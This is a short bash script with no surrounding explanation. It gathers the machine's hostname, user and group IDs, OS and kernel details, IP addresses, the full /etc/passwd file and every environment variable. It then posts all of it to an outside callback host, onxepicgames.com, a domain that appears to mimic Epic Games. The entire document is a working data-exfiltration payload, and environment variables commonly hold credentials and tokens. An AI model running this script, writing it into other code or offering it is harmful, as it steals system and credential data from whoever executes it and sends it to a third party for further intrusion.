#!/bin/bash HOSTNAME="$(hostname 2>/dev/null)" USER_INFO="$(whoami 2>/dev/null)" ID_INFO="$(id 2>/dev/null)" OS_INFO="$(cat /etc/*-release 2>/dev/null | grep -E '^PRETTY_NAME=' | cut -d= -f2 | tr -d '"')" KERNEL_INFO="$(uname -a 2>/dev/null)" IP_INFO="$(ip addr show 2>/dev/null | awk '/inet /{print $2}' | paste -sd "," -)" DATE_INFO="$(date 2>/dev/null)" PASSWD_CONTENT="$(cat /etc/passwd 2>/dev/null)" ENV_VARS="$(env 2>/dev/null)" CALLBACK_URL="https://onxepicgames.com/callback" curl -s -X POST \ --data-urlencode "hostname=${HOSTNAME}" \ --data-urlencode "user=${USER_INFO}" \ --data-urlencode "id=${ID_INFO}" \ --data-urlencode "os=${OS_INFO}" \ --data-urlencode "kernel=${KERNEL_INFO}" \ --data-urlencode "ips=${IP_INFO}" \ --data-urlencode "date=${DATE_INFO}" \ --data-urlencode "passwd=${PASSWD_CONTENT}" \ --data-urlencode "env=${ENV_VARS}" \ --data-urlencode "callback_url=onxepicgames.com" \ "$CALLBACK_URL"